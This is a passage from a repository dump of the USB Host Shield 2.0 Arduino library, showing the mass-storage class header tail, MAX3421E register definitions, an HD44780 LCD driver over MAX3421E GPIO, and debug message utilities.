   uint8_t bmSenseKey : 4;\n        uint8_t bmReserved : 1;\n        uint8_t bmILI : 1;\n        uint8_t bmEOM : 1;\n        uint8_t bmFileMark : 1;\n\n        uint8_t Information[4];\n        uint8_t bAdditionalLength;\n        uint8_t CmdSpecificInformation[4];\n        uint8_t bAdditionalSenseCode;\n        uint8_t bAdditionalSenseQualifier;\n        uint8_t bFieldReplaceableUnitCode;\n        uint8_t SenseKeySpecific[3];\n} __attribute__((packed));\n\nclass BulkOnly : public USBDeviceConfig, public UsbConfigXtracter {\nprotected:\n        static const uint8_t epDataInIndex; // DataIn endpoint index\n        static const uint8_t epDataOutIndex; // DataOUT endpoint index\n        static const uint8_t epInterruptInIndex; // InterruptIN  endpoint index\n\n        USB *pUsb;\n        uint8_t bAddress;\n        uint8_t bConfNum; // configuration number\n        uint8_t bIface; // interface value\n        uint8_t bNumEP; // total number of EP in the configuration\n        uint32_t qNextPollTime; // next poll time\n        bool bPollEnable; // poll enable flag\n\n        EpInfo epInfo[MASS_MAX_ENDPOINTS];\n\n        uint32_t dCBWTag; // Tag\n        //uint32_t dCBWDataTransferLength; // Data Transfer Length\n        uint8_t bLastUsbError; // Last USB error\n        uint8_t bMaxLUN; // Max LUN\n        uint8_t bTheLUN; // Active LUN\n        uint32_t CurrentCapacity[MASS_MAX_SUPPORTED_LUN]; // Total sectors\n        uint16_t CurrentSectorSize[MASS_MAX_SUPPORTED_LUN]; // Sector size, clipped to 16 bits\n        bool LUNOk[MASS_MAX_SUPPORTED_LUN]; // use this to check for media changes.\n        bool WriteOk[MASS_MAX_SUPPORTED_LUN];\n        void PrintEndpointDescriptor(const USB_ENDPOINT_DESCRIPTOR* ep_ptr);\n\n\n        // Additional Initialization Method for Subclasses\n\n        virtual uint8_t OnInit() {\n                return 0;\n        };\npublic:\n        BulkOnly(USB *p);\n\n        uint8_t GetLastUsbError() {\n                return bLastUsbError;\n        };\n\n        uint8_t GetbMaxLUN() {\n                return bMaxLUN; // Max LUN\n        }\n\n        uint8_t GetbTheLUN() {\n                return bTheLUN; // Active LUN\n        }\n\n        bool WriteProtected(uint8_t lun);\n        uint8_t MediaCTL(uint8_t lun, uint8_t ctl);\n        uint8_t Read(uint8_t lun, uint32_t addr, uint16_t bsize, uint8_t blocks, uint8_t *buf);\n        uint8_t Read(uint8_t lun, uint32_t addr, uint16_t bsize, uint8_t blocks, USBReadParser *prs);\n        uint8_t Write(uint8_t lun, uint32_t addr, uint16_t bsize, uint8_t blocks, const uint8_t *buf);\n        uint8_t LockMedia(uint8_t lun, uint8_t lock);\n\n        bool LUNIsGood(uint8_t lun);\n        uint32_t GetCapacity(uint8_t lun);\n        uint16_t GetSectorSize(uint8_t lun);\n\n        // USBDeviceConfig implementation\n        uint8_t Init(uint8_t parent, uint8_t port, bool lowspeed);\n        uint8_t ConfigureDevice(uint8_t parent, uint8_t port, bool lowspeed);\n\n        uint8_t Release();\n        uint8_t Poll();\n\n        virtual uint8_t GetAddress() {\n                return bAddress;\n        };\n\n        // UsbConfigXtracter implementation\n        void EndpointXtract(uint8_t conf, uint8_t iface, uint8_t alt, uint8_t proto, const USB_ENDPOINT_DESCRIPTOR *ep);\n\n        virtual bool DEVCLASSOK(uint8_t klass) {\n                return (klass == USB_CLASS_MASS_STORAGE);\n        }\n\n        uint8_t SCSITransaction6(CDB6_t *cdb, uint16_t buf_size, void *buf, uint8_t dir);\n        uint8_t SCSITransaction10(CDB10_t *cdb, uint16_t buf_size, void *buf, uint8_t dir);\n\nprivate:\n        uint8_t Inquiry(uint8_t lun, uint16_t size, uint8_t *buf);\n        uint8_t TestUnitReady(uint8_t lun);\n        uint8_t RequestSense(uint8_t lun, uint16_t size, uint8_t *buf);\n        uint8_t ModeSense6(uint8_t lun, uint8_t pc, uint8_t page, uint8_t subpage, uint8_t len, uint8_t *buf);\n        uint8_t GetMaxLUN(uint8_t *max_lun);\n        uint8_t SetCurLUN(uint8_t lun);\n        void Reset();\n        uint8_t ResetRecovery();\n        uint8_t ReadCapacity10(uint8_t lun, uint8_t *buf);\n        void ClearAllEP();\n        void CheckMedia();\n        bool CheckLUN(uint8_t lun);\n        uint8_t Page3F(uint8_t lun);\n        bool IsValidCBW(uint8_t size, uint8_t *pcbw);\n        bool IsMeaningfulCBW(uint8_t size, uint8_t *pcbw);\n\n        bool IsValidCSW(CommandStatusWrapper *pcsw, CommandBlockWrapperBase *pcbw);\n\n        uint8_t ClearEpHalt(uint8_t index);\n#if MS_WANT_PARSER\n        uint8_t Transaction(CommandBlockWrapper *cbw, uint16_t bsize, void *buf, uint8_t flags);\n#endif\n        uint8_t Transaction(CommandBlockWrapper *cbw, uint16_t bsize, void *buf);\n        uint8_t HandleUsbError(uint8_t error, uint8_t index);\n        uint8_t HandleSCSIError(uint8_t status);\n\n};\n\n#endif // __MASSTORAGE_H__\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/max3421e.h",
    "content": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis program is free software; you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation; either version 2 of the License, or\n(at your option) any later version.\n\nThis program is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with this program; if not, write to the Free Software\nFoundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n\nContact information\n-------------------\n\nCircuits At Home, LTD\nWeb      :  http://www.circuitsathome.com\ne-mail   :  support@circuitsathome.com\n */\n#if !defined(_usb_h_) || defined(_max3421e_h_)\n#error \"Never include max3421e.h directly; include Usb.h instead\"\n#else\n\n#define _max3421e_h_\n\n/* MAX3421E register/bit names and bitmasks */\n\n/* Arduino pin definitions */\n/* pin numbers to port numbers */\n\n#define SE0     0\n#define SE1     1\n#define FSHOST  2\n#define LSHOST  3\n\n/* MAX3421E command byte format: rrrrr0wa where 'r' is register number  */\n//\n// MAX3421E Registers in HOST mode.\n//\n#define rRCVFIFO    0x08    //1<<3\n#define rSNDFIFO    0x10    //2<<3\n#define rSUDFIFO    0x20    //4<<3\n#define rRCVBC      0x30    //6<<3\n#define rSNDBC      0x38    //7<<3\n\n#define rUSBIRQ     0x68    //13<<3\n/* USBIRQ Bits  */\n#define bmVBUSIRQ   0x40    //b6\n#define bmNOVBUSIRQ 0x20    //b5\n#define bmOSCOKIRQ  0x01    //b0\n\n#define rUSBIEN     0x70    //14<<3\n/* USBIEN Bits  */\n#define bmVBUSIE    0x40    //b6\n#define bmNOVBUSIE  0x20    //b5\n#define bmOSCOKIE   0x01    //b0\n\n#define rUSBCTL     0x78    //15<<3\n/* USBCTL Bits  */\n#define bmCHIPRES   0x20    //b5\n#define bmPWRDOWN   0x10    //b4\n\n#define rCPUCTL     0x80    //16<<3\n/* CPUCTL Bits  */\n#define bmPUSLEWID1 0x80    //b7\n#define bmPULSEWID0 0x40    //b6\n#define bmIE        0x01    //b0\n\n#define rPINCTL     0x88    //17<<3\n/* PINCTL Bits  */\n#define bmFDUPSPI   0x10    //b4\n#define bmINTLEVEL  0x08    //b3\n#define bmPOSINT    0x04    //b2\n#define bmGPXB      0x02    //b1\n#define bmGPXA      0x01    //b0\n// GPX pin selections\n#define GPX_OPERATE 0x00\n#define GPX_VBDET   0x01\n#define GPX_BUSACT  0x02\n#define GPX_SOF     0x03\n\n#define rREVISION   0x90    //18<<3\n\n#define rIOPINS1    0xa0    //20<<3\n\n/* IOPINS1 Bits */\n#define bmGPOUT0    0x01\n#define bmGPOUT1    0x02\n#define bmGPOUT2    0x04\n#define bmGPOUT3    0x08\n#define bmGPIN0     0x10\n#define bmGPIN1     0x20\n#define bmGPIN2     0x40\n#define bmGPIN3     0x80\n\n#define rIOPINS2    0xa8    //21<<3\n/* IOPINS2 Bits */\n#define bmGPOUT4    0x01\n#define bmGPOUT5    0x02\n#define bmGPOUT6    0x04\n#define bmGPOUT7    0x08\n#define bmGPIN4     0x10\n#define bmGPIN5     0x20\n#define bmGPIN6     0x40\n#define bmGPIN7     0x80\n\n#define rGPINIRQ    0xb0    //22<<3\n/* GPINIRQ Bits */\n#define bmGPINIRQ0 0x01\n#define bmGPINIRQ1 0x02\n#define bmGPINIRQ2 0x04\n#define bmGPINIRQ3 0x08\n#define bmGPINIRQ4 0x10\n#define bmGPINIRQ5 0x20\n#define bmGPINIRQ6 0x40\n#define bmGPINIRQ7 0x80\n\n#define rGPINIEN    0xb8    //23<<3\n/* GPINIEN Bits */\n#define bmGPINIEN0 0x01\n#define bmGPINIEN1 0x02\n#define bmGPINIEN2 0x04\n#define bmGPINIEN3 0x08\n#define bmGPINIEN4 0x10\n#define bmGPINIEN5 0x20\n#define bmGPINIEN6 0x40\n#define bmGPINIEN7 0x80\n\n#define rGPINPOL    0xc0    //24<<3\n/* GPINPOL Bits */\n#define bmGPINPOL0 0x01\n#define bmGPINPOL1 0x02\n#define bmGPINPOL2 0x04\n#define bmGPINPOL3 0x08\n#define bmGPINPOL4 0x10\n#define bmGPINPOL5 0x20\n#define bmGPINPOL6 0x40\n#define bmGPINPOL7 0x80\n\n#define rHIRQ       0xc8    //25<<3\n/* HIRQ Bits */\n#define bmBUSEVENTIRQ   0x01   // indicates BUS Reset Done or BUS Resume\n#define bmRWUIRQ        0x02\n#define bmRCVDAVIRQ     0x04\n#define bmSNDBAVIRQ     0x08\n#define bmSUSDNIRQ      0x10\n#define bmCONDETIRQ     0x20\n#define bmFRAMEIRQ      0x40\n#define bmHXFRDNIRQ     0x80\n\n#define rHIEN           0xd0    //26<<3\n\n/* HIEN Bits */\n#define bmBUSEVENTIE    0x01\n#define bmRWUIE         0x02\n#define bmRCVDAVIE      0x04\n#define bmSNDBAVIE      0x08\n#define bmSUSDNIE       0x10\n#define bmCONDETIE      0x20\n#define bmFRAMEIE       0x40\n#define bmHXFRDNIE      0x80\n\n#define rMODE           0xd8    //27<<3\n\n/* MODE Bits */\n#define bmHOST          0x01\n#define bmLOWSPEED      0x02\n#define bmHUBPRE        0x04\n#define bmSOFKAENAB     0x08\n#define bmSEPIRQ        0x10\n#define bmDELAYISO      0x20\n#define bmDMPULLDN      0x40\n#define bmDPPULLDN      0x80\n\n#define rPERADDR    0xe0    //28<<3\n\n#define rHCTL       0xe8    //29<<3\n/* HCTL Bits */\n#define bmBUSRST        0x01\n#define bmFRMRST        0x02\n#define bmSAMPLEBUS     0x04\n#define bmSIGRSM        0x08\n#define bmRCVTOG0       0x10\n#define bmRCVTOG1       0x20\n#define bmSNDTOG0       0x40\n#define bmSNDTOG1       0x80\n\n#define rHXFR       0xf0    //30<<3\n/* Host transfer token values for writing the HXFR register (R30)   */\n/* OR this bit field with the endpoint number in bits 3:0               */\n#define tokSETUP  0x10  // HS=0, ISO=0, OUTNIN=0, SETUP=1\n#define tokIN     0x00  // HS=0, ISO=0, OUTNIN=0, SETUP=0\n#define tokOUT    0x20  // HS=0, ISO=0, OUTNIN=1, SETUP=0\n#define tokINHS   0x80  // HS=1, ISO=0, OUTNIN=0, SETUP=0\n#define tokOUTHS  0xA0  // HS=1, ISO=0, OUTNIN=1, SETUP=0\n#define tokISOIN  0x40  // HS=0, ISO=1, OUTNIN=0, SETUP=0\n#define tokISOOUT 0x60  // HS=0, ISO=1, OUTNIN=1, SETUP=0\n\n#define rHRSL       0xf8    //31<<3\n\n/* HRSL Bits */\n#define bmRCVTOGRD  0x10\n#define bmSNDTOGRD  0x20\n#define bmKSTATUS   0x40\n#define bmJSTATUS   0x80\n#define bmSE0       0x00    //SE0 - disconnect state\n#define bmSE1       0xc0    //SE1 - illegal state\n\n/* Host error result codes, the 4 LSB's in the HRSL register */\n#define hrSUCCESS   0x00\n#define hrBUSY      0x01\n#define hrBADREQ    0x02\n#define hrUNDEF     0x03\n#define hrNAK       0x04\n#define hrSTALL     0x05\n#define hrTOGERR    0x06\n#define hrWRONGPID  0x07\n#define hrBADBC     0x08\n#define hrPIDERR    0x09\n#define hrPKTERR    0x0A\n#define hrCRCERR    0x0B\n#define hrKERR      0x0C\n#define hrJERR      0x0D\n#define hrTIMEOUT   0x0E\n#define hrBABBLE    0x0F\n\n#define MODE_FS_HOST    (bmDPPULLDN|bmDMPULLDN|bmHOST|bmSOFKAENAB)\n#define MODE_LS_HOST    (bmDPPULLDN|bmDMPULLDN|bmHOST|bmLOWSPEED|bmSOFKAENAB)\n\n\n#endif //_max3421e_h_\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/max_LCD.cpp",
    "content": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis software may be distributed and modified under the terms of the GNU\nGeneral Public License version 2 (GPL2) as published by the Free Software\nFoundation and appearing in the file GPL2.TXT included in the packaging of\nthis file. Please note that GPL2 Section 2[b] requires that all works based\non this software must also be made publicly available under the terms of\nthe GPL2 (\"Copyleft\").\n\nContact information\n-------------------\n\nCircuits At Home, LTD\nWeb      :  http://www.circuitsathome.com\ne-mail   :  support@circuitsathome.com\n */\n#include \"max_LCD.h\"\n#include <string.h>\n\n// pin definition and set/clear\n\n#define RS  0x04    // RS pin\n#define E   0x08    // E pin\n\n#define SET_RS  lcdPins |= RS\n#define CLR_RS  lcdPins &= ~RS\n#define SET_E   lcdPins |= E\n#define CLR_E   lcdPins &= ~E\n\n#define SENDlcdPins()   pUsb->gpioWr( lcdPins )\n\n#define LCD_sendcmd(a)  {   CLR_RS;             \\\n                            sendbyte(a);    \\\n                        }\n\n#define LCD_sendchar(a) {   SET_RS;             \\\n                            sendbyte(a);    \\\n                        }\n\nstatic uint8_t lcdPins; //copy of LCD pins\n\nMax_LCD::Max_LCD(USB *pusb) : pUsb(pusb) {\n        lcdPins = 0;\n}\n\nvoid Max_LCD::init() {\n        _displayfunction = LCD_4BITMODE | LCD_1LINE | LCD_5x8DOTS;\n\n        //   MAX3421E::gpioWr(0x55);\n\n        begin(16, 1);\n}\n\nvoid Max_LCD::begin(uint8_t cols __attribute__((unused)), uint8_t lines, uint8_t dotsize) {\n        if(lines > 1) {\n                _displayfunction |= LCD_2LINE;\n        }\n        _numlines = lines;\n        _currline = 0;\n\n        // for some 1 line displays you can select a 10 pixel high font\n        if((dotsize != 0) && (lines == 1)) {\n                _displayfunction |= LCD_5x10DOTS;\n        }\n\n        // SEE PAGE 45/46 FOR INITIALIZATION SPECIFICATION!\n        // according to datasheet, we need at least 40ms after power rises above 2.7V\n        // before sending commands. Arduino can turn on way befer 4.5V so we'll wait 50\n        delayMicroseconds(50000);\n        lcdPins = 0x30;\n        SET_E;\n        SENDlcdPins();\n        CLR_E;\n        SENDlcdPins();\n        delayMicroseconds(10000); // wait min 4.1ms\n        //second try\n        SET_E;\n        SENDlcdPins();\n        CLR_E;\n        SENDlcdPins();\n        delayMicroseconds(10000); // wait min 4.1ms\n        // third go!\n        SET_E;\n        SENDlcdPins();\n        CLR_E;\n        SENDlcdPins();\n        delayMicroseconds(10000);\n        // finally, set to 4-bit interface\n        lcdPins = 0x20;\n        //SET_RS;\n        SET_E;\n        SENDlcdPins();\n        //CLR_RS;\n        CLR_E;\n        SENDlcdPins();\n        delayMicroseconds(10000);\n        // finally, set # lines, font size, etc.\n        command(LCD_FUNCTIONSET | _displayfunction);\n\n        // turn the display on with no cursor or blinking default\n        _displaycontrol = LCD_DISPLAYON | LCD_CURSOROFF | LCD_BLINKOFF;\n        display();\n\n        // clear it off\n        clear();\n\n        // Initialize to default text direction (for romance languages)\n        _displaymode = LCD_ENTRYLEFT | LCD_ENTRYSHIFTDECREMENT;\n        // set the entry mode\n        command(LCD_ENTRYMODESET | _displaymode);\n}\n\n/********** high level commands, for the user! */\nvoid Max_LCD::clear() {\n        command(LCD_CLEARDISPLAY); // clear display, set cursor position to zero\n        delayMicroseconds(2000); // this command takes a long time!\n}\n\nvoid Max_LCD::home() {\n        command(LCD_RETURNHOME); // set cursor position to zero\n        delayMicroseconds(2000); // this command takes a long time!\n}\n\nvoid Max_LCD::setCursor(uint8_t col, uint8_t row) {\n        int row_offsets[] = {0x00, 0x40, 0x14, 0x54};\n        if(row > _numlines) {\n                row = _numlines - 1; // we count rows starting w/0\n        }\n\n        command(LCD_SETDDRAMADDR | (col + row_offsets[row]));\n}\n\n// Turn the display on/off (quickly)\n\nvoid Max_LCD::noDisplay() {\n        _displaycontrol &= ~LCD_DISPLAYON;\n        command(LCD_DISPLAYCONTROL | _displaycontrol);\n}\n\nvoid Max_LCD::display() {\n        _displaycontrol |= LCD_DISPLAYON;\n        command(LCD_DISPLAYCONTROL | _displaycontrol);\n}\n\n// Turns the underline cursor on/off\n\nvoid Max_LCD::noCursor() {\n        _displaycontrol &= ~LCD_CURSORON;\n        command(LCD_DISPLAYCONTROL | _displaycontrol);\n}\n\nvoid Max_LCD::cursor() {\n        _displaycontrol |= LCD_CURSORON;\n        command(LCD_DISPLAYCONTROL | _displaycontrol);\n}\n\n\n// Turn on and off the blinking cursor\n\nvoid Max_LCD::noBlink() {\n        _displaycontrol &= ~LCD_BLINKON;\n        command(LCD_DISPLAYCONTROL | _displaycontrol);\n}\n\nvoid Max_LCD::blink() {\n        _displaycontrol |= LCD_BLINKON;\n        command(LCD_DISPLAYCONTROL | _displaycontrol);\n}\n\n// These commands scroll the display without changing the RAM\n\nvoid Max_LCD::scrollDisplayLeft(void) {\n        command(LCD_CURSORSHIFT | LCD_DISPLAYMOVE | LCD_MOVELEFT);\n}\n\nvoid Max_LCD::scrollDisplayRight(void) {\n        command(LCD_CURSORSHIFT | LCD_DISPLAYMOVE | LCD_MOVERIGHT);\n}\n\n// This is for text that flows Left to Right\n\nvoid Max_LCD::leftToRight(void) {\n        _displaymode |= LCD_ENTRYLEFT;\n        command(LCD_ENTRYMODESET | _displaymode);\n}\n\n// This is for text that flows Right to Left\n\nvoid Max_LCD::rightToLeft(void) {\n        _displaymode &= ~LCD_ENTRYLEFT;\n        command(LCD_ENTRYMODESET | _displaymode);\n}\n\n// This will 'right justify' text from the cursor\n\nvoid Max_LCD::autoscroll(void) {\n        _displaymode |= LCD_ENTRYSHIFTINCREMENT;\n        command(LCD_ENTRYMODESET | _displaymode);\n}\n\n// This will 'left justify' text from the cursor\n\nvoid Max_LCD::noAutoscroll(void) {\n        _displaymode &= ~LCD_ENTRYSHIFTINCREMENT;\n        command(LCD_ENTRYMODESET | _displaymode);\n}\n\n// Allows us to fill the first 8 CGRAM locations\n// with custom characters\n\nvoid Max_LCD::createChar(uint8_t location, uint8_t charmap[]) {\n        location &= 0x7; // we only have 8 locations 0-7\n        command(LCD_SETCGRAMADDR | (location << 3));\n        for(int i = 0; i < 8; i++) {\n                write(charmap[i]);\n        }\n}\n\n/*********** mid level commands, for sending data/cmds */\n\ninline void Max_LCD::command(uint8_t value) {\n        LCD_sendcmd(value);\n        delayMicroseconds(100);\n}\n\n#if defined(ARDUINO) && ARDUINO >=100\n\ninline size_t Max_LCD::write(uint8_t value) {\n        LCD_sendchar(value);\n        return 1; // Assume success\n}\n#else\n\ninline void Max_LCD::write(uint8_t value) {\n        LCD_sendchar(value);\n}\n#endif\n\nvoid Max_LCD::sendbyte(uint8_t val) {\n        lcdPins &= 0x0f; //prepare place for the upper nibble\n        lcdPins |= (val & 0xf0); //copy upper nibble to LCD variable\n        SET_E; //send\n        SENDlcdPins();\n        delayMicroseconds(2);\n        CLR_E;\n        delayMicroseconds(2);\n        SENDlcdPins();\n        lcdPins &= 0x0f; //prepare place for the lower nibble\n        lcdPins |= (val << 4) & 0xf0; //copy lower nibble to LCD variable\n        SET_E; //send\n        SENDlcdPins();\n        CLR_E;\n        SENDlcdPins();\n        delayMicroseconds(100);\n}\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/max_LCD.h",
    "content": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis software may be distributed and modified under the terms of the GNU\nGeneral Public License version 2 (GPL2) as published by the Free Software\nFoundation and appearing in the file GPL2.TXT included in the packaging of\nthis file. Please note that GPL2 Section 2[b] requires that all works based\non this software must also be made publicly available under the terms of\nthe GPL2 (\"Copyleft\").\n\nContact information\n-------------------\n\nCircuits At Home, LTD\nWeb      :  http://www.circuitsathome.com\ne-mail   :  support@circuitsathome.com\n */\n//HD44780 compatible LCD display via MAX3421E GPOUT support header\n//pinout: D[4-7] -> GPOUT[4-7], RS-> GPOUT[2], E ->GPOUT[3]\n//\n\n#ifndef _Max_LCD_h_\n#define _Max_LCD_h_\n\n#include \"Usb.h\"\n#include \"Print.h\"\n\n// commands\n#define LCD_CLEARDISPLAY        0x01\n#define LCD_RETURNHOME          0x02\n#define LCD_ENTRYMODESET        0x04\n#define LCD_DISPLAYCONTROL      0x08\n#define LCD_CURSORSHIFT         0x10\n#define LCD_FUNCTIONSET         0x20\n#define LCD_SETCGRAMADDR        0x40\n#define LCD_SETDDRAMADDR        0x80\n\n// flags for display entry mode\n#define LCD_ENTRYRIGHT          0x00\n#define LCD_ENTRYLEFT           0x02\n#define LCD_ENTRYSHIFTINCREMENT 0x01\n#define LCD_ENTRYSHIFTDECREMENT 0x00\n\n// flags for display on/off control\n#define LCD_DISPLAYON           0x04\n#define LCD_DISPLAYOFF          0x00\n#define LCD_CURSORON            0x02\n#define LCD_CURSOROFF           0x00\n#define LCD_BLINKON             0x01\n#define LCD_BLINKOFF            0x00\n\n// flags for display/cursor shift\n#define LCD_DISPLAYMOVE         0x08\n#define LCD_CURSORMOVE          0x00\n#define LCD_MOVERIGHT           0x04\n#define LCD_MOVELEFT            0x00\n\n// flags for function set\n#define LCD_8BITMODE            0x10\n#define LCD_4BITMODE            0x00\n#define LCD_2LINE               0x08\n#define LCD_1LINE               0x00\n#define LCD_5x10DOTS            0x04\n#define LCD_5x8DOTS             0x00\n\nclass Max_LCD : public Print {\n        USB *pUsb;\n\npublic:\n        Max_LCD(USB *pusb);\n        void init();\n        void begin(uint8_t cols, uint8_t rows, uint8_t charsize = LCD_5x8DOTS);\n        void clear();\n        void home();\n        void noDisplay();\n        void display();\n        void noBlink();\n        void blink();\n        void noCursor();\n        void cursor();\n        void scrollDisplayLeft();\n        void scrollDisplayRight();\n        void leftToRight();\n        void rightToLeft();\n        void autoscroll();\n        void noAutoscroll();\n        void createChar(uint8_t, uint8_t[]);\n        void setCursor(uint8_t, uint8_t);\n        void command(uint8_t);\n\n#if defined(ARDUINO) && ARDUINO >=100\n        size_t write(uint8_t);\n        using Print::write;\n#else\n        void write(uint8_t);\n#endif\n\nprivate:\n        void sendbyte(uint8_t val);\n        uint8_t _displayfunction; //tokill\n        uint8_t _displaycontrol;\n        uint8_t _displaymode;\n        uint8_t _initialized;\n        uint8_t _numlines, _currline;\n};\n\n#endif\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/message.cpp",
    "content": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis program is free software; you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation; either version 2 of the License, or\n(at your option) any later version.\n\nThis program is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with this program; if not, write to the Free Software\nFoundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n\nContact information\n-------------------\n\nCircuits At Home, LTD\nWeb      :  http://www.circuitsathome.com\ne-mail   :  support@circuitsathome.com\n */\n\n#include \"Usb.h\"\n// 0x80 is the default (i.e. trace) to turn off set this global to something lower.\n// this allows for 126 other debugging levels.\n// TO-DO: Allow assignment to a different serial port by software\nint UsbDEBUGlvl = 0x80;\n\nvoid E_Notifyc(char c, int lvl) {\n        if(UsbDEBUGlvl < lvl) return;\n#if defined(ARDUINO) && ARDUINO >=100\n        USB_HOST_SERIAL.print(c);\n#else\n        USB_HOST_SERIAL.print(c, BYTE);\n#endif\n        //USB_HOST_SERIAL.flush();\n}\n\nvoid E_Notify(char const * msg, int lvl) {\n        if(UsbDEBUGlvl < lvl) return;\n        if(!msg) return;\n        char c;\n\n        while((c = pgm_read_byte(msg++))) E_Notifyc(c, lvl);\n}\n\nvoid E_NotifyStr(char const * msg, int lvl) {\n        if(UsbDEBUGlvl < lvl) return;\n        if(!msg) return;\n        char c;\n\n        while((c = *msg++)) E_Notifyc(c, lvl);\n}\n\nvoid E_Notify(uint8_t b, int lvl) {\n        if(UsbDEBUGlvl < lvl) return;\n#if defined(ARDUINO) && ARDUINO >=100\n        USB_HOST_SERIAL.print(b);\n#else\n        USB_HOST_SERIAL.print(b, DEC);\n#endif\n        //USB_HOST_SERIAL.flush();\n}\n\nvoid E_Notify(double d, int lvl) {\n        if(UsbDEBUGlvl < lvl) return;\n        USB_HOST_SERIAL.print(d);\n        //USB_HOST_SERIAL.flush();\n}\n\n#ifdef DEBUG_USB_HOST\n\nvoid NotifyFailGetDevDescr(void) {\n        Notify(PSTR(\"\\r\\ngetDevDescr \"), 0x80);\n}\n\nvoid NotifyFailSetDevTblEntry(void) {\n        Notify(PSTR(\"\\r\\nsetDevTblEn \"), 0x80);\n}\n\nvoid NotifyFailGetConfDescr(void) {\n        Notify(PSTR(\"\\r\\ngetConf \"), 0x80);\n}\n\nvoid NotifyFailSetConfDescr(void) {\n        Notify(PSTR(\"\\r\\nsetConf \"), 0x80);\n}\n\nvoid NotifyFailGetDevDescr(uint8_t reason) {\n        NotifyFailGetDevDescr();\n        NotifyFail(reason);\n}\n\nvoid NotifyFailSetDevTblEntry(uint8_t reason) {\n        NotifyFailSetDevTblEntry();\n        NotifyFail(reason);\n\n}\n\nvoid NotifyFailGetConfDescr(uint8_t reason) {\n        NotifyFailGetConfDescr();\n        NotifyFail(reason);\n}\n\nvoid NotifyFailSetConfDescr(uint8_t reason) {\n        NotifyFailSetConfDescr();\n        NotifyFail(reason);\n}\n\nvoid NotifyFailUnknownDevice(uint16_t VID, uint16_t PID) {\n        Notify(PSTR(\"\\r\\nUnknown Device Connected - VID: \"), 0x80);\n        D_PrintHex<uint16_t > (VID, 0x80);\n        Notify(PSTR(\" PID: \"), 0x80);\n        D_PrintHex<uint16_t > (PID, 0x80);\n}\n\nvoid NotifyFail(uint8_t rcode) {\n        D_PrintHex<uint8_t > (rcode, 0x80);\n        Notify(PSTR(\"\\r\\n\"), 0x80);\n}\n#endif\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/message.h",
    "content": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis program is free software; you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation; either version 2 of the License, or\n(at your option) any later version.\n\nThis program is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with this program; if not, write to the Free Software\nFoundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n\nContact information\n-------------------\n\nCircuits At Home, LTD\nWeb      :  http://www.circuitsathome.com\ne-mail   :  support@circuitsathome.com\n */\n#if !defined(_usb_h_) || defined(__MESSAGE_H__)\n#error \"Never include message.h directly; include Usb.h instead\"\n#else\n#define __MESSAGE_H__\n\nextern int UsbDEBUGlvl;\n\nvoid E_Notify(char const * msg, int lvl);\nvoid E_Notify(uint8_t b, int lvl);\nvoid E_NotifyStr(char const * msg, int lvl);\nvoid E_Notifyc(char c, int lvl);\n\n#ifdef DEBUG_USB_HOST\n#define Notify E_Notify\n#define NotifyStr E_NotifyStr\n#define Notifyc E_Notifyc\nvoid NotifyFailGetDevDescr(uint8_t reason);\nvoid NotifyFailSetDevTblEntry(uint8_t reason);\nvoid NotifyFailGetConfDescr(uint8_t reason);\nvoid NotifyFailSetConfDescr(uint8_t reason);\nvoid NotifyFailGetDevDescr(void);\nvoid NotifyFailSetDevTblEntry(void);\nvoid NotifyFailGetConfDescr(void);\nvoid NotifyFailSetConfDescr(void);\nvoid NotifyFailUnknownDevice(uint16_t VID, uint16_t PID);\nvoid NotifyFail(uint8_t rcode);\n#else\n#define Notify(...) ((void)0)\n#define NotifyStr(...) ((void)0)\n#define Notifyc(...) ((void)0)\n#define NotifyFailGetDevDescr(...) ((void)0)\n#define NotifyFailSetDevTblEntry(...) ((void)0)\n#define NotifyFailGetConfDescr(...) ((void)0)\n#define NotifyFailGetDevDescr(...) ((void)0)\n#define NotifyFailSetDevTblEntry(...) ((void)0)\n#define NotifyFailGetConfDescr(...) ((void)0)\n#define NotifyFailSetConfDescr(...) ((void)0)\n#define NotifyFailUnknownDevice(...) ((void)0)\n#define NotifyFail(...) ((void)0)\n#endif\n\ntemplate <class ERROR_TYPE>\nvoid ErrorMessage(uint8_t level, char const * msg, ERROR_TYPE rcode = 0) {\n#ifdef DEBUG_USB_HOST\n        Notify(msg, level);\n        Notify(PSTR(\": \"), level);\n        D_PrintHex<ERROR_TYPE > (rcode, level);\n        Notify(PSTR(\"\\r\\n\"), level);\n#endif\n}\n\ntemplate <class ERROR_TYPE>\nvoid ErrorMessage(char const * msg __attribute__((unused)), ERROR_TYPE rcode __attribute__((unused)) = 0) {\n#ifdef DEBUG_USB_HOST\n        Notify(msg, 0x80);\n        Notify(PSTR(\": \"), 0x80);\n        D_PrintHex<ERROR_TYPE > (rcode, 0x80);\n        Notify(PSTR(\"\\r\\n\"), 0x80);\n#endif\n}\n\n#endif // __MESSAGE_H__\n"
  },
  {
